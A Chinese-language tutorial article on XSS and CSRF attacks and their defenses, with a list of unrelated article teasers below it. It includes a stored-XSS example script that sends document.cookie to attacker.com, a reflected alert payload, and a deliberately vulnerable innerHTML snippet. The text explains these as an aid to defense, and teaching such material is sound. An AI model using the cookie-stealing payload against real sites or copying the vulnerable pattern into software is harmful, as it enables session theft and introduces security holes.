首页/新闻资讯/正文详情

xss和CSRF的攻击和防御

发布时间:2026/11/5 1:40:38 来源:云帆数科 栏目:资讯中心
xss和CSRF的攻击和防御
一、什么是跨站脚本攻击xss跨站脚本攻击是一种通过向网页端注入恶意脚本在用户浏览器执行攻击代码的漏洞会通过url参数、表单提交等窃取用户的身份凭证如cookie、session和篡改页面内容如插入虚假广告或链接。XSS攻击case用户输入渲染评论、搜索、URL 参数第三方脚本广告、统计、CDN富文本编辑器Markdown 渲染JSON 数据直接插入 HTMLxss防御用fonttextContent代替innerHTML用户输入必须转义对用户输入的信息必须转义仅允许安全字符转义特殊字符 ’ %20等。富文本用 DOMPurify 过滤配置 CSP 头通过HTTP头Content-Security-Policy限制脚本来源Content-Security-Policy:default-srcself;script-srcselfhttps://trusted-cdn.com;二、xss的三种类型1.反射性XSS触发条件恶意脚本通过URL参数传递服务器未过滤直接返回到页面攻击场景钓鱼邮件或链接诱导用户点击举个栗子https://www.baidu.com/search?queryscriptalert(我是XSS)/script诺2.存储型XSS触发条件恶意脚本被永久存储到服务器评论、数据库用户访问时加载攻击场景富文本、输入框等用户生成内容举个栗子scriptfetch(http://attacker.com/steal?cookiedocument.cookie)/script其他用户查看评论时cookie将被发送至攻击者服务器3.DOM型XSS触发条件前端JavaScript动态操作DOM时未过滤数据导致恶意代码执行攻击场景单页面应用SPA或依赖前端路由的网站举个栗子// 漏洞代码从URL中提取参数并直接插入页面constnamenewURL(location.href).searchParams.get(name);document.getElementById(welcome).innerHTMLHello,${name}!;三、CSRF跨站请求伪造攻击攻击者诱导用户进入一个第三方网站然后该网站向被攻击网站发送跨站请求(和被攻击网站同源)。如果用户在被攻击网站中保存了登录状态那么攻击者就可以利用这个登录状态绕过后台的用户验证冒充用户向服务器执行一些操作。本质利用 cookie 会在同源请求中携带发送给服务器的特点(服务器根据域名判断)以此来实现用户的冒充。常见攻击类型GET型ex: 在网站中的一个 img 标签里构建一个请求当用户打开这个网站的时候就会自动发起提交。POST型ex: 构建一个表单然后隐藏它当用户进入页面时自动提交这个表单。链接型ex: 在 a 标签的 href 属性里构建一个请求然后诱导用户去点击。预防CSRF token验证服务端返回一个随机token客户端再次发送请求时需携带设置cookie属性可以设置samesite属性有两种模式严格模式下任何情况下不允许第三方使用宽松模式下仅允许被实现页面跳转的get请求使用四、xss和CSRF总结防御以登录为例子推荐使用纵深防御——HttpOnly Cookie SameSite CSP 输入验证。需要前后端配合登录接口使用Set-coolie返回前端请求加 credentials: include或者用 axios全局配置axios.defaults.withCredentialstrue;设置 httpOnly: true 后 JavaScript 读不到对于CSRF加个 sameSite: lax 就能解决大部分场景。这方案在开发成本上的性价比是很高的而对于APP内置的WebView用HttpOnly Cookie可能有兼容问题需要重新评估该方案。

相关推荐

具身智能“感知-行动”双向闭环研究(3):TVA-VLA架构与VLA或World模型的比较研究
具身智能“感知-行动”双向闭环研究(3):TVA-VLA架构与VLA或World模型的比较研究

前沿技术探索:TVA智能体(简称TVA) TVA智能体(Transformer-based Vision Agent)是依托Transformer架构与“因式智能体”理论构建的新型工业视觉系统,也是当前最具代表性的具身视觉技术之一。它有机融合深度强化学习(DRL)、卷积神经网络(CNN)与因式分解算法(FRA),构… · 2026/11/5 1:39:37

Muteki 如何兼容 8 种 Agent CLI:ACP/RPC 适配层、引擎注册表与提示桥源码完全解读
Muteki 如何兼容 8 种 Agent CLI:ACP/RPC 适配层、引擎注册表与提示桥源码完全解读

AI Agent多智能体Agent 编排网络安全渗透测试认证鉴权后端前端 【免费下载链接】muteki Project Muteki (無敵):开源 AI 驱动的进攻性安全框架,基于多模型 AI Agent 蜂群架构,实现自动化渗透测试与 CTF 求解。Open-source AI-powered offensi… · 2026/11/5 1:39:37

具身智能“感知-行动”双向闭环研究(2):基于TVA-VLA架构的知识蒸馏实战解析
具身智能“感知-行动”双向闭环研究(2):基于TVA-VLA架构的知识蒸馏实战解析

前沿技术探索:TVA智能体(简称TVA)TVA智能体(Transformer-based Vision Agent)是依托Transformer架构与“因式智能体”理论构建的新型工业视觉系统,也是当前最具代表性的具身视觉技术之一。它有机融合深度强… · 2026/11/5 1:39:37

STM32F407六路串口DMA并发收发实战
STM32F407六路串口DMA并发收发实战

简介:本资源是一份面向嵌入式开发工程师与STM32进阶学习者的实战型实验工程,聚焦STM32F407芯片在高并发串口通信场景下的DMA高效应用,解决多路串口数据收发导致CPU负载过高、实时性不足等典型痛点,适用于工业网关、多传感器汇聚终… · 2026/11/5 6:14:22

二叉搜索树(BST)原理与C++实现指南
二叉搜索树(BST)原理与C++实现指南

1. 二叉搜索树的核心价值与应用场景二叉搜索树(Binary Search Tree, BST)作为数据结构领域的经典之作,在C程序员的成长道路上扮演着重要角色。我第一次在游戏排行榜功能中实现BST时,深刻体会到它O(log n)时间复杂度带来的性能优势… · 2026/11/5 6:14:22

链表去重算法解析与双指针法实现
链表去重算法解析与双指针法实现

1. 问题分析与解法思路链表去重是算法学习中的经典问题,LeetCode第83题"删除排序链表中的重复元素"要求我们保留每个元素的一次出现,删除所有后续重复项。面对这个问题,我们需要深入理解链表的特性和操作方式。链表与数组最大的区别… · 2026/11/5 6:14:22

大专生如何在大数据行业突围:就业现状与技能提升策略
大专生如何在大数据行业突围:就业现状与技能提升策略

1. 大数据行业就业现状全景扫描2026届大专层次大数据科学专业毕业生面临的就业形势,需要从行业需求、学历门槛、技能匹配三个维度综合分析。当前大数据行业已度过爆发期进入理性发展阶段,头部企业招聘门槛持续抬高,但细分领域仍存在大量机会。… · 2026/11/5 6:14:22

笔记本部署VMware ESXi 6.0实战:网卡驱动与避坑指南
笔记本部署VMware ESXi 6.0实战:网卡驱动与避坑指南

笔记本电脑部署VMware ESXi 6.0系统这件事,我第一次干的时候踩的坑比想象中多得多。表面上看,这不过是把一张ISO镜像写进U盘、改个启动项、点几下下一步的事,但真正动手才会发现:笔记本的网卡驱动、电源管理、存储控制器、UEFI与L… · 2026/11/5 6:14:22

2026年Typora依然是最佳Markdown编辑器的三大理由
2026年Typora依然是最佳Markdown编辑器的三大理由

1. 为什么在2026年我依然选择Typora作为一个重度Markdown用户,我几乎尝试过市面上所有主流编辑器。从早期的Mou到后来的VS CodeMarkdown插件,从Notion到Obsidian,最终在2026年这个时间节点,我依然选择回归Typora。这不是简单的怀旧… · 2026/11/5 6:13:22

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 3:16:49

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 6:59:29

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 7:02:38

多智能体协作系统架构设计与实践优化
多智能体协作系统架构设计与实践优化

1. 多智能体协作系统的时代背景2017年Transformer架构的诞生彻底改变了人工智能的发展轨迹。当行业还沉浸在单一大模型带来的性能突破时,Anthropic的研究团队已经将目光投向了更前沿的领域——如何让多个智能体通过协作产生超越单体能力的系统智能。这就像交响乐团中… · 2026/11/5 0:00:39

大模型系统性入门实战指南:从原理到部署微调的全链路路线
大模型系统性入门实战指南:从原理到部署微调的全链路路线

提到大模型的系统性入门,我先说个结论:这事真不难,难的是资料太散、路线太多,今天这个框架明天那个工具,新人很容易在“收藏夹吃灰”和“教程看到一半放弃”之间反复横跳。市面上关于大模型的内容少说有几十万篇&#… · 2026/11/5 0:00:39

鸿蒙文件系统沙箱机制解析与开发实践
鸿蒙文件系统沙箱机制解析与开发实践

1. 鸿蒙文件系统沙箱机制深度解析作为一名从Android转向鸿蒙开发的工程师,我深刻体会到文件系统访问是迁移过程中最先遇到的"拦路虎"。在Android上运行良好的文件读写代码,在鸿蒙真机环境却频频出现文件写入后神秘消失或直接抛出权限拒绝错误的… · 2026/11/5 0:00:39

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 3:16:49

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 6:59:29

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 7:02:38

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码